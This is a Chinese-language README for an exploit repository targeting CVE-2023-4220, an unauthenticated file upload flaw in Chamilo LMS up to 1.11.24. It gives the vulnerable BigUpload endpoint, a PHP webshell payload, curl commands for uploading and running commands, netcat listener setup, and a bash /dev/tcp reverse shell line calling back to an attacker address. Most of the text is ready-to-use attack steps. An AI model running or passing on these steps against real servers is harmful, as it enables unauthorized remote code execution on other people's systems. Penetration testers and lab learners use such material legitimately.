Python 漏洞利用脚本,针对 CVE-2023-4220,这是一个影响 Chamilo LMS <= 1.11.24 的未经认证的任意文件上传漏洞。
该漏洞位于 Chamilo 的 BigUpload 组件中。在易受攻击的安装中,上传处理程序允许在没有适当验证的情况下上传 PHP 文件。由于上传的文件存储在 Web 可访问的目录中,如果启用了 PHP 执行,上传的 PHP 文件可以直接被请求并用作 webshell。
此仓库包含两个版本的漏洞利用脚本:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
两个脚本都会上传 PHP webshell,验证命令执行,并允许通过 cmd GET 参数运行命令。唯一的实际区别在于 --shell 的处理方式。
auto 版本会启动自己的监听器,触发反向 shell 并自动切换到交互式会话。
oscp 版本会触发反向 shell 负载,但不会启动监听器。运行前必须手动启动监听器。
克隆仓库:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
安装依赖:
python3 -m pip install -r requirements.txt
唯一的外部依赖是 requests,因此也可以手动安装:
python3 -m pip install requests
目标通过 -u 或 --url 传递:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
两个脚本都提供相同的选项:
-u, --url 目标基本 URL
--check 检查 BigUpload 文件目录是否可访问
--upload 上传 webshell 并验证命令执行
--cmd CMD 通过已上传的 webshell 执行单个命令
--shell LHOST LPORT 触发反向 shell
--filename NAME 为上传的 PHP 文件使用自定义文件名
--proxy PROXY 通过代理发送流量,例如 Burp Suite
--timeout SECONDS 设置 HTTP 超时
--verify-tls 启用 TLS 证书验证
--cleanup 尝试在执行后移除上传的 webshell
自动版本还包含:
--listen-timeout SEC 等待反向 shell 连接的时间
检查预期的 BigUpload 路径是否可访问:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
上传 PHP webshell 并验证命令执行:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
运行单个命令:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
使用自定义文件名:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
通过 Burp Suite 发送流量:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
上面的示例使用的是 auto 脚本,但相同的语法也可用于 chamilo_cve_2023_4220_oscp.py。
两个脚本都提供了 --shell 选项,但其行为因使用的版本而异。
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
此版本会在 10.10.14.3:4444 上启动本地监听器,上传 webshell,触发反向 shell 并自动打开交互式会话。
使用此版本时无需手动运行 nc。
首先手动启动你的监听器:
sudo nc -nlvp 4444
然后在另一个终端中运行漏洞利用脚本:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
此版本仅通过已上传的 webshell 发送反向 shell 负载。连接由你手动启动的监听器接收。
两个脚本触发的反向 shell 命令等同于:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
确保 LHOST 值能够从目标访问。在 VPN 环境中,这通常是你的隧道接口地址:
ip -brief addr show tun0
CVE-2023-4220 影响 Chamilo LMS 版本最高至 1.11.24(含)。
易受攻击的上传处理程序位于:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
漏洞利用脚本滥用的操作是:
?action=post-unsupported
上传的文件通常可以从以下路径访问:
/main/inc/lib/javascript/bigupload/files/
漏洞利用脚本使用 BigUpload 期望的表单字段发送 multipart/form-data POST 请求:
bigUploadFile
上传的 PHP 负载是一个小型命令包装器:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
命令通过 cmd GET 参数传递:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
命令输出周围的标记用于提取 HTTP 响应的相关部分。
脚本执行的上传操作等同于:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
上传成功后,可以使用以下命令测试命令执行:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check 仅验证预期的 BigUpload 文件目录是否可访问。肯定结果并不保证目标存在可利用漏洞。
完整验证需要上传 PHP 负载并通过 --upload 或 --cmd 确认命令执行。
如果上传成功但命令执行失败,可能是上传目录禁用了 PHP 执行,目标已打补丁,或者服务器端规则阻止了请求。
如果希望脚本在执行后尝试移除上传的 PHP 文件,请使用 --cleanup。